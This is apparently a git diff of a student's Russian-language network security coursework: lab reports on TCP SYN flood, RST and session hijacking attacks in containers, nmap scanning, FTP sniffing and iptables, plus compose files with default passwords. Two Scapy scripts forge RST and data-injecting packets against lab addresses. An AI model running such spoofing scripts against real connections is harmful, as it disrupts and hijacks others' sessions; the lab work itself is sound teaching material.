- ZBX_DEBUGLEVEL=1
|
||||
- ZBX_HOUSEKEEPINGFREQUENCY=1
|
||||
- ZBX_MAXHOUSEKEEPERDELETE=5000
|
||||
- ZBX_PROXYCONFIGFREQUENCY=3600
|
||||
web-nginx-pgsql:
|
||||
image: zabbix/zabbix-web-nginx-pgsql:alpine-latest
|
||||
ports:
|
||||
- "80:8080"
|
||||
- "443:8443"
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime
|
||||
- /etc/timezone:/etc/timezone
|
||||
- /etc/ssl/nginx:/etc/ssl/nginx
|
||||
healthcheck:
|
||||
test: ["CMD", "curl", "-f", "http://localhost:8080/"]
|
||||
interval: 10s
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
start_period: 30s
|
||||
sysctls:
|
||||
- net.core.somaxconn=65535
|
||||
restart: always
|
||||
depends_on:
|
||||
- server
|
||||
- postgres-server
|
||||
environment:
|
||||
- POSTGRES_USER=zabbix
|
||||
- POSTGRES_PASSWORD=zabbix
|
||||
- POSTGRES_DB=zabbixNew
|
||||
- ZBX_SERVER_HOST=server
|
||||
- ZBX_POSTMAXSIZE=64M
|
||||
- PHP_TZ=Europe/Moscow
|
||||
- ZBX_MAXEXECUTIONTIME=500
|
||||
agent:
|
||||
image: zabbix/zabbix-agent:alpine-latest
|
||||
ports:
|
||||
- "10050:10050"
|
||||
volumes:
|
||||
- /etc/localtime:/etc/localtime
|
||||
- /etc/timezone:/etc/timezone
|
||||
- /proc:/proc
|
||||
- /sys:/sys
|
||||
- /dev:/dev
|
||||
- /var/run/docker.sock:/var/run/docker.sock
|
||||
privileged: true
|
||||
pid: "host"
|
||||
restart: always
|
||||
depends_on:
|
||||
- server
|
||||
environment:
|
||||
- ZBX_SERVER_HOST=server
|
||||
|
||||
postgres-server:
|
||||
image: postgres:16.2
|
||||
restart: always
|
||||
volumes:
|
||||
- pg_data:/var/lib/postgresql/data
|
||||
environment:
|
||||
- POSTGRES_PASSWORD=zabbix
|
||||
- POSTGRES_USER=zabbix
|
||||
- POSTGRES_DB=zabbixNew
|
||||
|
||||
volumes:
|
||||
pg_data:
|
||||
193
02-pentest/01-network/01-tcpip/02-tcp/GOVNO.md
Normal file
@@ -0,0 +1,193 @@
|
||||
# Домашняя работа № 2 по предмету: «Безопасность вычислительных сетей»
|
||||
## Описание лабораторной работы
|
||||
Цель лабораторной работы — получить непосредственный опыт работы с уязвимостями, а также с атаками на эти уязвимости.
|
||||
|
||||
В этой лабораторной работе вы проведете несколько атак на TCP:
|
||||
|
||||
1. TCP SYN flood attack, and SYN cookies;
|
||||
2. TCP reset attack;
|
||||
3. TCP session hijacking attack.
|
||||
|
||||
В лабораторной работе четыре контейнера: три машины легитимных пользователей и одна машина атакующего.
|
||||
|
||||

|
||||
|
||||
## Задача 1 «TCP SYN flood attack».
|
||||
`
|
||||
Код отправляет поддельные пакеты TCP SYN со случайно сгенерированным исходным IP-адресом, исходным портом и порядковым номером.
|
||||
Подождите хотя бы одну минуту, а затем попытайтесь подключиться к жертве с помощью Telnet. Получится ли у вас добиться успеха? Подключиться можно через хост машины Victim (все дальнейшие проверки следует проводить через нее).
|
||||
`
|
||||
|
||||
Python-скрипт для атаки:
|
||||
|
||||

|
||||
|
||||
### Задача 1.1
|
||||
`net.ipv4.tcp_syncookies=0` - SYN Cookies на жертве (Victim) отключены.
|
||||
|
||||
#### Выполнение задачи:
|
||||
|
||||
1. Запустим скрипт на `seed-attacker` и посмотрим наличие подключений на `Victim`.
|
||||
|
||||
Листинг `seed-attacker`:
|
||||
|
||||

|
||||
|
||||
Листинг `Victim`:
|
||||
|
||||

|
||||
|
||||
2. Проверим возможность подключения к `Victim` с `HostB`
|
||||
|
||||

|
||||
|
||||
В данном случае, мы видим успешный вывод приглашения. Можно предположить, что атака не удалась, но зная, что возможности очереди машины зависят от её характеристик, не будет лишним попробовать запустить сразу несколько экземпляров скрипта на `seed-attacker` добавив операнд `&` к команде запуска:
|
||||
|
||||
`root@7552dc4712a7:/# ./volume/opt1.py &`
|
||||
|
||||
3. Запустим 15 экземпляров скрипта одновременно и проверим возможность подключения:
|
||||
|
||||

|
||||
|
||||
4. Подключение выполняется, но с большими задержками (от 10 до 30 секунд), что является показателем успешной атаки. Атаку можно считать успешной.
|
||||
|
||||
|
||||
#### Итог задачи 1.1
|
||||
Атака при `net.ipv4.tcp_syncookies=0` производится **успешно**!
|
||||
|
||||
### Задача 1.2
|
||||
|
||||
`net.ipv4.tcp_syncookies=1` - SYN Cookies на жертве (Victim) включены.
|
||||
|
||||
Время провести попытку с включенным механизмом syncookies. Для этого пересоздадим контейнеры установив значение строки `net.ipv4.tcp_syncookies=1` в docker-compose.yaml
|
||||
|
||||

|
||||
|
||||
#### Выполнение задачи
|
||||
|
||||
1. Перезапустим скрипты, воспроизводящие атаку и проверим наличие подключений на `Victim`.
|
||||
|
||||
seeder-attacker:
|
||||
|
||||

|
||||
|
||||
Victim:
|
||||
|
||||

|
||||
|
||||
2. Подключения на месте. Проверим возможность подключения по Telnet.
|
||||
|
||||

|
||||
|
||||
Проведя несколько попыток подключения и мгновенно увидев баннер Telnet можем сделать вывод, что в этот раз атака не удалась.
|
||||
|
||||
#### Итог задачи 1.1
|
||||
Атака при `net.ipv4.tcp_syncookies=1` производится **неудачно**.
|
||||
|
||||
### Итог задачи 1.
|
||||
|
||||
Механизм TCP SYN cookies позволяет серверу генерировать специальные сокращенные версии TCP-заголовков (cookies) в ответ на входящие запросы SYN, сохраняя минимум информации о соединении. Когда сервер получает подтверждение от клиента (ACK-пакет), он может восстановить полную информацию о соединении из сокращенной версии TCP-заголовка, инициированной в SYN-пакете.
|
||||
|
||||
Этот механизм позволяет серверу обрабатывать и отвечать на большое количество входящих соединений даже в условиях атаки SYN flood, так как он не хранит информацию о незавершенных соединениях в памяти, а использует специальные cookie для отслеживания состояния соединения.
|
||||
|
||||
TCP SYN cookies - это один из методов защиты от атак на уровне TCP, который повышает устойчивость серверов к подобным атакам и обеспечивает непрерывность работы сетевых служб.
|
||||
|
||||
## Задача 2. TCP reset attack
|
||||
|
||||
1. Для выполнения атаки нам необходимо получить вводные данные. Для этого в момент подключения с `HostB` к `Victim` будем слушать трафик между ними с помощью `tcpdump`
|
||||
|
||||
Выполняем подключение с `HostB` к `Victim`
|
||||
|
||||

|
||||
|
||||
"Слушаем" трафик с помощью `tcpdump`
|
||||
|
||||

|
||||
|
||||
В логах трафика нам необходимо получить данные для наполнения скрипта -- `src`, `dst`, `sport`, `dport` и `seq`.
|
||||
| **Параметр** | **Значение** | **Примечание** |
|
||||
| --- | --- | --- |
|
||||
| src | 10.3.0.3 | IP-адрес `HostB` |
|
||||
| dst | 10.3.0.4 | IP-адрес `Victim` |
|
||||
| sport | 40060 | Номер порта, с которого `HostB` устанавливает подключение |
|
||||
| dport | 23 | Номер порта telnet на `Victim` |
|
||||
| seq | 1838235189 | Номер следующей последовательности, который ожидает `Victim` от `HostB` |
|
||||
|
||||
2. Подставим полученные данные в скрипт `opt2.py` для проведения атаки.
|
||||
|
||||
|
||||

|
||||
3. Выполним атакующий скрипт
|
||||
|
||||
|
||||

|
||||
4. Убедимся в наличии RST-пакета в `tcpdump`
|
||||
|
||||

|
||||
5. Проверим состояние соединения путём нажатия Enter в подключении `telnet`
|
||||
|
||||

|
||||
|
||||
Согласно выводу, соединение было закрыто, атаку можно считать **успешной**.
|
||||
|
||||
### Итог задачи 2.
|
||||
TCP RST (Reset) атака - это форма атаки на уровне TCP, которая может быть использована для нарушения установленных TCP-соединений между клиентом и сервером.
|
||||
|
||||
Принцип работы атаки заключается в отправке поддельных RST-пакетов (пакетов сброса соединения) от имени одной из сторон (обычно от сервера) для преждевременного завершения установленного TCP-соединения. Это может привести к разрыву соединения и прекращению обмена данными между клиентом и сервером.
|
||||
|
||||
Несмотря на вышеописанное, подготовка к такой атаке является довольно сложной на практике, ведь злоумышленник должен иметь доступ к трафику внутри сети для правильного составления атакующего пакета.
|
||||
|
||||
|
||||
|
||||
## Задача 3. TCP Session Hijacking attack
|
||||
|
||||
1. Аналогично заданию 2 установим Тelnet-сессию между узлами `HostB` и `Victim` и соберем исходные данные. Скелет кода похож на тот, который указан в задании 2, отличается лишь сегментом TCP и необходимостью добавления блока данных.
|
||||
|
||||
Основываясь на данных из `tcpdump` заполним нашу таблицу:
|
||||
|
||||

|
||||
|
||||
Таблица:
|
||||
| **Параметр** | **Значение** | **Примечание** |
|
||||
| --- | --- | --- |
|
||||
| src | 10.3.0.3 | IP-адрес `HostB` |
|
||||
| dst | 10.3.0.4 | IP-адрес `Victim` |
|
||||
| sport | 54402 | Номер порта, с которого `HostB` устанавливает подключение |
|
||||
| dport | 23 | Номер порта telnet на `Victim` |
|
||||
| seq | 4125627535 | Номер следующей последовательности, который ожидает `Victim` от `HostB` |
|
||||
| ack | 2474120203 | |
|
||||
|
||||
2. Заполняем скрипт полученными данными
|
||||
|
||||

|
||||
|
||||
3. Выполним атакующий скрипт
|
||||
|
||||

|
||||
|
||||
4. Убедимся в наличии пакетов в tcpdump.
|
||||
|
||||

|
||||
|
||||
5. Проверив состояние нашего соединения между хостами `HostB` и `Victim` обнаруживаем, что соединение зависло и не реагирует на команды. Но как обстоят дела с папкой `1337` на хосте `Victim`?
|
||||
|
||||

|
||||
|
||||
Видим свежесозданную папку с именем `1337`, сигнализирующую о том, что атака прошла **успешно**!
|
||||
|
||||
### Итог задачи 3.
|
||||
TCP Session Hijacking (взятие сессии) - это форма атаки на уровне TCP, направленная на захват установленной сессии между клиентом и сервером с целью несанкционированного доступа к данным или выполнения действий от имени атакуемого пользователя.
|
||||
|
||||
Принцип работы атаки заключается во вмешательстве в установленное TCP-соединение между клиентом и сервером путем введения поддельных TCP-пакетов или захвата существующих пакетов для манипуляции сессией. Атакующий может попытаться взять контроль над сессией, изменить данные, выполнить команды от имени пользователя или даже завершить сессию.
|
||||
|
||||
В целом атака очень похожа на TCP RST-атаку по необходимым вводным данным.
|
||||
|
||||
Для защиты от подобных атак могут применяться различные меры, такие как:
|
||||
- Использование шифрования и цифровой подписи для защиты конфиденциальности и целостности данных во время передачи. (Например, использование SSHv2 вместо Telnet)
|
||||
- Мониторинг сетевого трафика с целью обнаружения подозрительной активности или аномалий. (Сетевые снифферы с IDS, например PT Network Attack Discovery или Kaspersky Anti-Targetted Attack)
|
||||
- Настройка сетевой защиты, включая файерволы, средства обнаружения вторжений и фильтрацию пакетов.
|
||||
|
||||
# Итог лабораторной работы
|
||||
На этом лабораторная работа окончена, файл отчет в формате pdf во вложении.
|
||||
|
||||
Выполнил: Харитонов Марат Русланович, студенческий билет №М235314.
|
||||
|
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 48 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image02.png
Normal file
|
After Width: | Height: | Size: 9.2 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image03.png
Normal file
|
After Width: | Height: | Size: 142 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image04.png
Normal file
|
After Width: | Height: | Size: 19 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image05.png
Normal file
|
After Width: | Height: | Size: 97 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image06.png
Normal file
|
After Width: | Height: | Size: 61 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image07.png
Normal file
|
After Width: | Height: | Size: 104 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image08.png
Normal file
|
After Width: | Height: | Size: 173 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image09.png
Normal file
|
After Width: | Height: | Size: 19 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image10.png
Normal file
|
After Width: | Height: | Size: 95 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image11.png
Normal file
|
After Width: | Height: | Size: 263 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image12.png
Normal file
|
After Width: | Height: | Size: 49 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image13.png
Normal file
|
After Width: | Height: | Size: 99 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image14.png
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image15.png
Normal file
|
After Width: | Height: | Size: 105 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image16.png
Normal file
|
After Width: | Height: | Size: 190 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image17.png
Normal file
|
After Width: | Height: | Size: 57 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image18.png
Normal file
|
After Width: | Height: | Size: 108 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image19.png
Normal file
|
After Width: | Height: | Size: 108 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/image20.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
02-pentest/01-network/01-tcpip/02-tcp/img/opt1.png
Normal file
|
After Width: | Height: | Size: 80 KiB |
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import IP,TCP,send,ls
|
||||
ip = IP(src="10.3.0.3", dst="10.3.0.4")
|
||||
tcp = TCP(sport=55418, dport=23, flags="R", seq=3707590235)
|
||||
tcp = TCP(sport=40060, dport=23, flags="R", seq=1838235189)
|
||||
pkt = ip/tcp
|
||||
ls(pkt)
|
||||
send(pkt, verbose=0)
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import IP,TCP,send,ls
|
||||
ip = IP(src="10.3.0.3", dst="10.3.0.4")
|
||||
tcp = TCP(sport=60124, dport=23, flags="PA", seq=1386786213, ack=482847772)
|
||||
tcp = TCP(sport=54402, dport=23, flags="PA", seq=4125627535, ack=2474120203)
|
||||
data = "\r mkdir 1337 \r"
|
||||
pkt = ip/tcp/data
|
||||
ls(pkt)
|
||||
66
02-pentest/01-network/02-scanner/01-ftp/README.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# Сканирование сетей. Лабораторная работа №1 (HW)
|
||||
## Ход работы
|
||||
1. Подготовим виртуальную машину с Linux Ubuntu 22.04
|
||||
|
||||

|
||||
|
||||
2. Установим FTP-сервер командой `sudo apt install vsftpd`
|
||||
|
||||

|
||||
|
||||
3. В файл конфигурации `/etc/vsftpd.conf` запишем следующие строки:
|
||||
|
||||
```
|
||||
listen=YES
|
||||
listen_ipv6=NO
|
||||
anonymous_enable=NO
|
||||
local_enable=YES
|
||||
write_enable=YES
|
||||
dirmessage_enable=YES
|
||||
use_localtime=YES
|
||||
xferlog_enable=YES
|
||||
connect_from_port_20=YES
|
||||
xferlog_std_format=YES
|
||||
chroot_local_user=YES
|
||||
secure_chroot_dir=/var/run/vsftpd/empty
|
||||
pam_service_name=vsftpd
|
||||
allow_writeable_chroot=YES
|
||||
```
|
||||
|
||||

|
||||
|
||||
4. Перезапустим службу `sudo systemctl restart vsftpd`
|
||||
|
||||

|
||||
|
||||
5. Создадим отдельного пользователя для дальнейшего подключения к FTP-серверу, последовательно выполняя следующие команды:
|
||||
|
||||
```bash
|
||||
sudo useradd ftpuser
|
||||
sudo mkhomedir_helper ftpuser
|
||||
sudo passwd ftpuser
|
||||
```
|
||||
|
||||

|
||||
|
||||
6. В директории /home/ftpuser создадим файл.
|
||||
|
||||

|
||||
|
||||
7. Запустим на сервере `tcpdump` с записью в файл
|
||||
|
||||

|
||||
|
||||
8. Проанализируем полученный файл `ftp.pcap` в Wireshark
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
## Выводы
|
||||
|
||||
Проанализировав PCAP-файл мы можем увидеть, что протокол FTP по умолчанию не использует шифрование, а значит вся сессия, в том числе чувствительные данные (логин, пароль, листинг директории) могут быть извлечены при прослушивании сессии.
|
||||
Использовать FTP без шифрования за пределами доверенной сети крайне не рекомендуется, для этих целей лучше подойдут протоколы, обеспечивающие шифрование (FTPS, SCP, SFTP). При технической необходимости использовать FTP для передачи данных вне доверенной сети, необходимо как минимум использовать VPN для инкапсуляции открытого трафика в шифрованный.
|
||||
|
||||
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.
|
||||
BIN
02-pentest/01-network/02-scanner/01-ftp/ftp.pcap
Normal file
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image01.png
Normal file
|
After Width: | Height: | Size: 138 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image02.png
Normal file
|
After Width: | Height: | Size: 139 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image03.png
Normal file
|
After Width: | Height: | Size: 43 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image04.png
Normal file
|
After Width: | Height: | Size: 72 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image05.png
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image06.png
Normal file
|
After Width: | Height: | Size: 38 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image07.png
Normal file
|
After Width: | Height: | Size: 26 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image08.png
Normal file
|
After Width: | Height: | Size: 246 KiB |
BIN
02-pentest/01-network/02-scanner/01-ftp/img/image09.png
Normal file
|
After Width: | Height: | Size: 269 KiB |
14
02-pentest/01-network/02-scanner/01-ftp/vsftpd.conf
Normal file
@@ -0,0 +1,14 @@
|
||||
listen=YES
|
||||
listen_ipv6=NO
|
||||
anonymous_enable=NO
|
||||
local_enable=YES
|
||||
write_enable=YES
|
||||
dirmessage_enable=YES
|
||||
use_localtime=YES
|
||||
xferlog_enable=YES
|
||||
connect_from_port_20=YES
|
||||
xferlog_std_format=YES
|
||||
chroot_local_user=YES
|
||||
secure_chroot_dir=/var/run/vsftpd/empty
|
||||
pam_service_name=vsftpd
|
||||
allow_writeable_chroot=YES
|
||||
90
02-pentest/01-network/02-scanner/02-nmap/README.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# Сканирование сетей. Лабораторная работа №2 (HW)
|
||||
|
||||
## Ход работы
|
||||
|
||||
1. Подготовим 2 хоста с установленным nmap:
|
||||
|
||||
`kali` (`192.168.103.88`)
|
||||
|
||||

|
||||
|
||||
`ubuntu` (`192.168.103.100`)
|
||||
|
||||

|
||||
|
||||
2. Просканируем хост `ubuntu` с `kali` различными методами.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
3. Просканируем хост `kali` с `ubuntu` различными методами.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Результаты сканирований не отличаются, результат `Host seems down` мы получили только при использовании параметра `PM`, который использует netmask request discovery probe.
|
||||
|
||||
4. Просканируем машины с помощью команды `nmap <ip-адрес>`
|
||||
|
||||
`kali` -> `ubuntu`
|
||||
|
||||

|
||||
|
||||
`ubuntu` -> `kali`
|
||||
|
||||

|
||||
|
||||
В таком виде команда выполняет сканирование доступности и портов (1000 популярных) указанного адреса. Видим, что на `kali` открыт только 22/tcp (служба SSH), а на `ubuntu` -- 21/tcp, 22/tcp, что соответствует службам FTP и SSH соответственно.
|
||||
|
||||
5. Выполним сканирование порта 21/tcp методами TCP SYN Scan, TCP Connect Scan, UDP Scan, TCP FIN Scan, TCP NULL Scan, TCP Xmas Scan и TCP ACK Scan.
|
||||
|
||||
```bash
|
||||
nmap 192.168.103.100 -sS -p 21
|
||||
nmap 192.168.103.100 -sT -p 21
|
||||
nmap 192.168.103.100 -sA -p 21
|
||||
nmap 192.168.103.100 -sU -p 21
|
||||
nmap 192.168.103.100 -sN -p 21
|
||||
nmap 192.168.103.100 -sF -p 21
|
||||
nmap 192.168.103.100 -sX -p 21
|
||||
```
|
||||
|
||||

|
||||
|
||||
6. На машине `ubuntu` с помощью `docker` запустим веб-сервер `nginx` на порту `2839/tcp`
|
||||
|
||||

|
||||
|
||||
7. Снова просканируем машину с помощью команды `nmap 192.168.103.100`
|
||||
|
||||

|
||||
|
||||
Нового порта не видим в силу того, что `nmap` использует 1000 предопределенных портов, в которые `2839/tcp` не входит.
|
||||
|
||||
8. Просканируем порт указав его вручную.
|
||||
|
||||

|
||||
|
||||
Порт появился как открытый.
|
||||
|
||||
9. Выполним сканирование порта методами из п.5.
|
||||
|
||||
```bash
|
||||
nmap 192.168.103.100 -sS -p 2839
|
||||
nmap 192.168.103.100 -sT -p 2839
|
||||
nmap 192.168.103.100 -sA -p 2839
|
||||
nmap 192.168.103.100 -sU -p 2839
|
||||
nmap 192.168.103.100 -sN -p 2839
|
||||
nmap 192.168.103.100 -sF -p 2839
|
||||
nmap 192.168.103.100 -sX -p 2839
|
||||
```
|
||||

|
||||
|
||||
## Выводы
|
||||
|
||||
Мы рассмотрели работу утилиты `nmap`, которая позволяет определить доступность хоста различными методами, а также определить службы, запущенные на удаленном устройстве.
|
||||
|
||||
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.
|
||||
|
||||
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image01.png
Normal file
|
After Width: | Height: | Size: 38 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image02.png
Normal file
|
After Width: | Height: | Size: 37 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image03.png
Normal file
|
After Width: | Height: | Size: 191 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image04.png
Normal file
|
After Width: | Height: | Size: 224 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image05.png
Normal file
|
After Width: | Height: | Size: 36 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image06.png
Normal file
|
After Width: | Height: | Size: 40 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image07.png
Normal file
|
After Width: | Height: | Size: 47 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image08.png
Normal file
|
After Width: | Height: | Size: 48 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image09.png
Normal file
|
After Width: | Height: | Size: 145 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image10.png
Normal file
|
After Width: | Height: | Size: 40 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image11.png
Normal file
|
After Width: | Height: | Size: 49 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image12.png
Normal file
|
After Width: | Height: | Size: 46 KiB |
BIN
02-pentest/01-network/02-scanner/02-nmap/img/image13.png
Normal file
|
After Width: | Height: | Size: 121 KiB |
86
02-pentest/01-network/02-scanner/03-postgresql/README.md
Normal file
@@ -0,0 +1,86 @@
|
||||
# Сканирование сетей. Лабораторная работа №3 (HW)
|
||||
|
||||
## Ход работы
|
||||
|
||||
1. Просканируем машину `ubuntu` с помощью команды `nmap -sV 192.168.103.100`
|
||||
|
||||

|
||||
|
||||
Мы обнаружили 2 сервиса на `21/tcp` и `22/tcp`, определили их тип `FTP` и `SSH` и обнаружили версию этих пакетов. Также мы смогли определить, что используется ОС Linux, о чем говорит следующее: `Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel`
|
||||
|
||||
2. С помощью `docker-compose` запустим на машине сервер `PostgreSQL`.
|
||||
|
||||
```yaml
|
||||
version: '3.3'
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: library/postgres:16.2
|
||||
volumes:
|
||||
- postgres-data:/var/lib/postgresql
|
||||
environment:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: 1337
|
||||
ports:
|
||||
- '5432:5432'
|
||||
restart: always
|
||||
|
||||
volumes:
|
||||
postgres-data:
|
||||
```
|
||||
|
||||

|
||||
|
||||
3. Снова просканируем машину `ubuntu` с помощью команды `nmap -sV 192.168.103.100`
|
||||
|
||||

|
||||
|
||||
В этот раз мы обнаружили сервис `PostgreSQL`. Nmap попробовал определить его версию, но, судя по предупреждению, ему это не удалось. Также nmap сообщает, что якобы имеется ещё один нераспознанный сервис.
|
||||
|
||||
4. Просканируем нестандартный порт `2839/tcp` из лабораторной №2 и порт Postgresql `5432/tcp`, указывая уровни интенсивности от 1 до 9.
|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 1`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 2`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 3`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 4`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 5`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 6`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 7`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 8`
|
||||
|
||||

|
||||
|
||||
`nmap -sV 192.168.103.100 -p 5432,2839 --version-intensity 9`
|
||||
|
||||

|
||||
|
||||
|
||||
Как мы видим, при интенсивности 1-6, мы получаем информацию только о Nginx и Postgres. При 7-8, мы дополнительно видим информацию о несущствующем сервисе. При 10 Postgres начинает определяться как `Nagios NSCA 9.6.0 or later`, что не соответствует действительности.
|
||||
|
||||
|
||||
## Выводы
|
||||
|
||||
Мы рассмотрели работу утилиты `nmap`, а конкретно функционал определения сервисов, который позволяет подробнее понять, что за сервис скрывается за портом. Также мы поняли, что `nmap` пытаться определить сервис с разной интенсивностью, что может как помочь, так и запутать при аудите хоста.
|
||||
|
||||
**Выполнил:** Харитонов Марат Русланович, студенческий билет М235314.
|
||||
@@ -0,0 +1,16 @@
|
||||
version: '3.3'
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: library/postgres:16.2
|
||||
volumes:
|
||||
- postgres-data:/var/lib/postgresql
|
||||
environment:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: 1337
|
||||
ports:
|
||||
- '5432:5432'
|
||||
restart: always
|
||||
|
||||
volumes:
|
||||
postgres-data:
|
||||
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/1.png
Normal file
|
After Width: | Height: | Size: 62 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/2.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/3.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/4.png
Normal file
|
After Width: | Height: | Size: 54 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/5.png
Normal file
|
After Width: | Height: | Size: 55 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/6.png
Normal file
|
After Width: | Height: | Size: 55 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/7.png
Normal file
|
After Width: | Height: | Size: 97 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/8.png
Normal file
|
After Width: | Height: | Size: 97 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/9.png
Normal file
|
After Width: | Height: | Size: 55 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/image01.png
Normal file
|
After Width: | Height: | Size: 59 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/image02.png
Normal file
|
After Width: | Height: | Size: 122 KiB |
BIN
02-pentest/01-network/02-scanner/03-postgresql/img/image03.png
Normal file
|
After Width: | Height: | Size: 110 KiB |
44
02-pentest/01-network/02-scanner/04-iptables/README.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# Сканирование сетей. Лабораторная работа №4 (HW)
|
||||
|
||||
## Ход работы
|
||||
|
||||
1. Заблокируем порт `21/tcp` на машине `ubuntu` с помощью iptables по политике REJECT.
|
||||
```bash
|
||||
sudo iptables -A INPUT -p tcp --dport 21 -j REJECT
|
||||
```
|
||||

|
||||
|
||||
2. Просканируем заблокированный в пункте 1 порт типами сканирования TCP SYN Scan, TCP Connect Scan, UDP Scan, TCP FIN Scan, TCP NULL Scan, TCP Xmas Scan и TCP ACK Scan.
|
||||
|
||||
|
||||
```bash
|
||||
nmap 192.168.103.100 -p 21 -sS
|
||||
nmap 192.168.103.100 -p 21 -sT
|
||||
nmap 192.168.103.100 -p 21 -sU
|
||||
nmap 192.168.103.100 -p 21 -sF
|
||||
nmap 192.168.103.100 -p 21 -sN
|
||||
nmap 192.168.103.100 -p 21 -sX
|
||||
nmap 192.168.103.100 -p 21 -sA
|
||||
```
|
||||
|
||||

|
||||
|
||||
В целом результаты довольно ожидаемые, все методы кроме TCP Connect Scan и UDP Scan определили, что порт фильтруется.
|
||||
UDP закрыт, так как на данном порту действительно нет службы, а TCP Connect считается открытым, если открылось соединение.
|
||||
|
||||
3. Заменим политику с `REJECT` на `DROP`
|
||||
`sudo iptables -R INPUT 1 -p tcp --dport 21 -j DROP`
|
||||
|
||||

|
||||
|
||||
4. Повторим п.2
|
||||
|
||||

|
||||
|
||||
Можно заметить, что точность определения открытости портов сильно уменьшилась, связано это с тем, что при политике `DROP` устройство не посылает сообщение о том, что пакет был отброшен, в результате чего сканер не может вынести однозначный вердикт о доступности порта.
|
||||
|
||||
## Выводы
|
||||
|
||||
